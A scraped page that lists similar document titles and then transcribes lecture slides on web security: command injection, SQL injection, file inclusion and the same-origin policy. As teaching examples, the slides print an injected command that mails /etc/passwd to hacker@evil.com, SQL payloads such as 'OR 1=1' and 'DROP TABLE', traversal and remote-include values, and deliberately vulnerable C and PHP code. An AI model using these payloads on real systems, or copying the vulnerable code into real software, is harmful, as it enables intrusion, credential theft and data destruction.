Web Security, Part 1 (as usual, thanks to Dave Wagner and Vern Paxson)

Similar documents
Denial-of-Service (DoS) & Web Attacks

Denial-of-Service (DoS) & Web Attacks

Web Security, Part 1 (as usual, thanks to Dave Wagner and Vern Paxson)

Denial-of-Service, con t / Web Security

Web Attacks, con t. CS 161: Computer Security. Prof. Vern Paxson. TAs: Devdatta Akhawe, Mobin Javed & Matthias Vallentin

NET 311 INFORMATION SECURITY

Web Security: Vulnerabilities & Attacks

Web Security. Attacks on Servers 11/6/2017 1

Web Security IV: Cross-Site Attacks

Web Attacks, con t. CS 161: Computer Security. Prof. Vern Paxson. TAs: Devdatta Akhawe, Mobin Javed & Matthias Vallentin

DEFENSIVE PROGRAMMING. Lecture for EDA 263 Magnus Almgren Department of Computer Science and Engineering Chalmers University of Technology

Secure Programming. Input Validation. Learning objectives Code Injection: Outline. 4 Code Injection

CSE 127 Computer Security

Application vulnerabilities and defences

CS 161 Computer Security

Secure Programming Lecture 7: Injection

Project 3 Web Security Part 1. Outline

CS 161 Computer Security

CSE361 Web Security. Attacks against the server-side of web applications. Nick Nikiforakis

P2_L12 Web Security Page 1

Assignment 6: Web Security

The Most Dangerous Software Errors

Configuring User Defined Patterns

Project 2: Web Security

Finding Vulnerabilities in Web Applications

Web insecurity Security strategies General security Listing of server-side risks Language specific security. Web Security.

CS 161 Computer Security

WEB SECURITY: XSS & CSRF

Web Security Part 2. Professor Ristenpart h9p:// rist at cs dot wisc dot edu

Web Security Part 2. Professor Ristenpart h9p:// rist at cs dot wisc dot edu

CSCE 548 Building Secure Software SQL Injection Attack

I n p u t. This time. Security. Software. sanitization ); drop table slides. Continuing with. Getting insane with. New attacks and countermeasures:

PHP-security Software lifecycle General Security Webserver security PHP security. Security Summary. Server-Side Web Languages

Detecting Attacks, Part 1

Web Security. advanced topics on SOP. Yan Huang. Credits: slides adapted from Stanford and Cornell Tech

Homework 5: Exam Review

Advanced Web Technology 10) XSS, CSRF and SQL Injection

PHP: Hypertext Preprocessor. A tutorial Introduction

Web basics: HTTP cookies

Attacks Against Websites. Tom Chothia Computer Security, Lecture 11

How is state managed in HTTP sessions. Web basics: HTTP cookies. Hidden fields (2) The principle. Disadvantage of this approach

PHP INTERVIEW QUESTION-ANSWERS

CSE 565 Computer Security Fall 2018

Lecture 17 Browser Security. Stephen Checkoway University of Illinois at Chicago CS 487 Fall 2017 Some slides from Bailey's ECE 422

CS 161 Computer Security

A1 (Part 2): Injection SQL Injection

Web Security. Jace Baker, Nick Ramos, Hugo Espiritu, Andrew Le

CS 161 Computer Security

Running Remote Code is Risky. Why Study Browser Security. Browser Sandbox. Threat Models. Security User Interface.

BOOSTING THE SECURITY

Outline. Security as an economic good. Risk budgeting with ALE. Failure: Risk compensation. Failure: Displacement activity

injection vulnerabilities

Web Security, Part 2

2/16/18. CYSE 411/AIT 681 Secure Software Engineering. Secure Coding. The Web. Topic #11. Web Security. Instructor: Dr. Kun Sun

Web basics: HTTP cookies

Web Security: Cross-Site Attacks

Client Side Injection on Web Applications

Web Security: Vulnerabilities & Attacks

Lecture 4 September Required reading materials for this class

OWASP 5/07/09. The OWASP Foundation OWASP Static Analysis (SA) Track Session 1: Intro to Static Analysis

Is Browsing Safe? Web Browser Security. Subverting the Browser. Browser Security Model. XSS / Script Injection. 1. XSS / Script Injection

Running SQL in Java and PHP

IS 2150 / TEL 2810 Introduction to Security

A SQL Injection : Internal Investigation of Injection, Detection and Prevention of SQL Injection Attacks

CS 155 Final Exam. CS 155: Spring 2016 June 2, 2016

Solution of Exercise Sheet 5

Security: Threats and Countermeasures. Stanley Tan Academic Program Manager Microsoft Singapore

Running SQL in Java and PHP

SQL Injection SPRING 2018: GANG WANG

A1 (Part 1): Injection Command and Code injection

CS 155 Project 2. Overview & Part A

Application Design and Development: October 30

Using the Cisco ACE Application Control Engine Application Switches with the Cisco ACE XML Gateway

A SURVEY OF ATTACKS ON PHP AND WEB VULNERABILITIES

Daniel Pittman October 17, 2011

Web Security: Vulnerabilities & Attacks

Application Layer Attacks. Application Layer Attacks. Application Layer. Application Layer. Internet Protocols. Application Layer.

Web Application Security. Philippe Bogaerts

CS 161 Computer Security

last time: command injection

CSE 484 / CSE M 584: Computer Security and Privacy. Web Security. Autumn Tadayoshi (Yoshi) Kohno

Security for the Web. Thanks to Dave Levin for some slides

Computer Security 3e. Dieter Gollmann. Chapter 18: 1

Lecture 7: Web hacking 3, SQL injection, Xpath injection, Server side template injection, File inclusion

Some Facts Web 2.0/Ajax Security

WEB SECURITY WORKSHOP TEXSAW Presented by Solomon Boyd and Jiayang Wang

Web Application & Web Server Vulnerabilities Assessment Pankaj Sharma

CS 377 Database Systems. Li Xiong Department of Mathematics and Computer Science Emory University

Security for the Web. Thanks to Dave Levin for some slides

Chapter. Accessing MySQL Databases Using PHP

Code-Injection Attacks in Browsers Supporting Policies. Elias Athanasopoulos, Vasilis Pappas, and Evangelos P. Markatos FORTH-ICS

Department of Electrical Engineering and Computer Science MASSACHUSETTS INSTITUTE OF TECHNOLOGY Fall Quiz I

SQL Injection. EECS Introduction to Database Management Systems

John Coggeshall Copyright 2006, Zend Technologies Inc.

Web Security. Outline

PHP: Cookies, Sessions, Databases. CS174. Chris Pollett. Sep 24, 2008.

L6 Application Programming. Thibault Sellam Fall 2018

CS 161 Computer Security

Software Security. Erik Poll. Digital Security group Radboud University Nijmegen

HTTP. EC512 Spring /15/2015 EC512 - Prof. Thomas Skinner 1

Transcription:

Web Security, Part 1 (as usual, thanks to Dave Wagner and Vern Paxson)

Web Server Threats What can happen? Compromise Defacement Gateway to attacking clients Disclosure (not mutually exclusive) And what makes the problem particularly tricky? Public access Mission creep

Attacking Via HTTP " URLs: Global identifiers of network-retrievable resources http://user:pass@berkeley.edu:81/class?name=cs161#homework Protocol Username Host Port Path Fragment Query Password 16

Simple Service Example Allow users to search the local phonebook for any entries that match a regular expression Invoked via URL like: http://harmless.com/phonebook.cgi?regex=<pattern> So for example: http://harmless.com/phonebook.cgi?regex=daw vern searches phonebook for any entries with daw or vern in them (Note: web surfer doesn t enter this URL themselves; an HTML form constructs it from what they type)

Simple Service Example, con t Assume our server has some glue that parses URLs to extract parameters into C variables and returns stdout to the user Simple version of code to implement search: /* print any employees whose name * matches the given regex */ void find_employee(char *regex) { char cmd[512]; sprintf(cmd, "grep %s phonebook.txt", regex); system(cmd); }

Simple Service Example, con t Assume our server has some glue that parses URLs to extract parameters into C variables and returns stdout to the user Simple version of code to implement search: /* print any employees whose name * matches the given regex */ void find_employee(char *regex) { char cmd[512]; snprintf(cmd, sizeof cmd, "grep %s phonebook.txt", regex); system(cmd); } Are we done?

A Digression into Breakfast Cereals 2600 Hz tone a form of inband signaling Beware allowing control information to come from data (also illustrates security-by-obscurity)

/* print any employees whose name * matches the given regex */ void find_employee(char *regex) { char cmd[512]; snprintf(cmd, sizeof cmd, "grep %s phonebook.txt", regex); system(cmd); } Problems? Instead of http://harmless.com/phonebook.cgi?regex=daw vern How about http://harmless.com/phonebook.cgi?regex=foo; %20mail %20-s%20hacker@evil.com%20</etc/passwd;%20rm

How To Fix Command Injection? snprintf(cmd, sizeof cmd, "grep %s phonebook.txt", regex); regex=foo ; mail -s hacker@evil.com </etc/passwd; rm Okay, then scan regex and strip - does that work? regex=o Malley Okay, then scan regex and escape.? regex O\ Malley (not actually quite right, but ignore that) regex=foo\ ; mail regex=foo\\ ; mail (argument to grep is foo\ ) Okay, then scan regex and escape and \.? regex=foo\ ; mail regex=foo\\\ ; mail (argument to grep is foo\ ; mail )

Input Sanitization In principle, can prevent injection attacks by properly sanitizing input Remove inputs with meta-characters (can have collateral damage for benign inputs) Or escape any meta-characters (including escape characters!) Requires a complete model of how input subsequently processed E.g. regex=foo%27; mail E.g. regex=foo%25%32%37; mail» Double-escaping bug And/or: avoid using a feature-rich API KISS + defensive programming

/* print any employees whose name * matches the given regex */ void find_employee(char *regex) { char *path = "/usr/bin/grep"; char *argv[10];/* room for plenty of args */ char *envp[1]; /* no room since no env. */ int argc = 0; } argv[argc++] = path;/* argv[0] = prog name */ argv[argc++] = "-e";/* force regex as pat.*/ argv[argc++] = regex; argv[argc++] = "phonebook.txt"; argv[argc++] = 0; envp[0] = 0; if ( execve(path, argv, envp) < 0 ) command_failed(...);

Command Injection in the Real World

Command Injection in the Real World

Structure of Modern Web Services Browser URL / Form Web page built from database Web server command.php? arg1=x&arg2=y Database server

PHP: Hypertext Preprocessor Server scripting language with C-like syntax Can intermingle static HTML and code <input value=<?php echo $myvalue;?>> Can embed variables in double- strings $user = world ; echo Hello $user! ; Or $user = world ; echo Hello. $user.! ; Form data in global arrays $_GET, $_POST,

SQL Widely used database query language Fetch a set of records SELECT * FROM Person WHERE Username= oski Add data to the table INSERT INTO Person (Username, Balance) VALUES ( oski, 10) Modify data UPDATE Person SET Balance=42 WHERE Username= oski Query syntax (mostly) independent of vendor

SQL Injection Scenario Sample PHP $recipient = $_POST[ recipient ]; $sql = "SELECT PersonID FROM Person WHERE Balance < 100 AND Username='$recipient' "; $rs = $db->executequery($sql); How can recipient cause trouble here? How can we see anyone s balance?

SQL Injection Scenario, con t WHERE Balance < 100 AND Username='$recipient' "; recipient = foo' OR 1=1 -- ( -- is a comment, it masks the lack of close ) Or foo'; DROP TABLE Person; --? Or change database however you wish

SQL Injection: Retrieving Data 1 post malicious form Victim Server Attacker 2 unintended query 3 receive valuable data Victim SQL DB

SQL Injection: Modifying Data 1 post malicious form Victim Server Attacker 2 unintended command 3 Database modified Victim SQL DB

Defenses (work-in-progress) Defenses (work in progress) Character-level taint tracking: Check that keywords, metachars are untainted. SELECT u FROM t WHERE n='bobby' SELECT u FROM t WHERE n='bobby' OR 1=1 --' Secure template languages: Template languages should automatically quote or encode substitutions appropriately. <P>Hello ${username}! Welcome back.

Injection via file inclusion 2. PHP code executed by server 3. Now suppose COLOR=http://badguy/evil Or: COLOR=../../../etc/passwd%00 1. Form displayed in user s browser

Questions?

Coming Up Friday s lecture: Buffer Overflow attacks Read P&P 3.0, 3.1, 3.2 Follow the newsgroup If you are also enrolled in CS160 or CS164 and need to take the final at the alternate time, sign up via the web Due Thu Jan 28 (11:59PM): Get your class account set up Use it to submit a writeup that you have read the class web page, including (especially) policies on collaboration, Academic Dishonesty, and ethics/ legality

Safe to type your password? 48

Safe to type your password? 49

Safe to type your password? 50

Safe to type your password??????? 51

Safe to type your password? 52

Same-Origin Policy How does the browser isolate different sites? 53

Windows Interact 54

Are all interactions good? 55

Browser Same-Origin Policy " Different origins have limited interaction " Origin is the tuple <domain, port, protocol> http://www.example.com:80/whoami http://www.example.com:80/hello Full access https://www.example.com:443/hello http://www.example.com:443/hello Limited access 56

Same-Origin Policy Examples " Example HTML at http://www.site.com/ <iframe src="http://othersite.com/"></iframe> <img src="http://othersite.com/logo.gif"> " Disallowed: alert(frames[0].document.body.innerhtml) alert(frames[0].location) " Allowed: alert(images[0].height) frames[0].location = "http://othersite.com/foo"; 57

Mixed Content 58 58

A Guninski Attack awglogin window.open("https://attacker.com/", "awglogin"); 59

What should the policy be? Child Sibling Frame Bust Descendant 60

Building up Web Pages from SQL <?php $result = mysql_query( "SELECT * from users where username=". $_POST['username']. " AND password=". $_POST['password']); $row = mysql_fetch_array($result)...?> <html><body> Welcome <?php print $row['username']?> </body></html>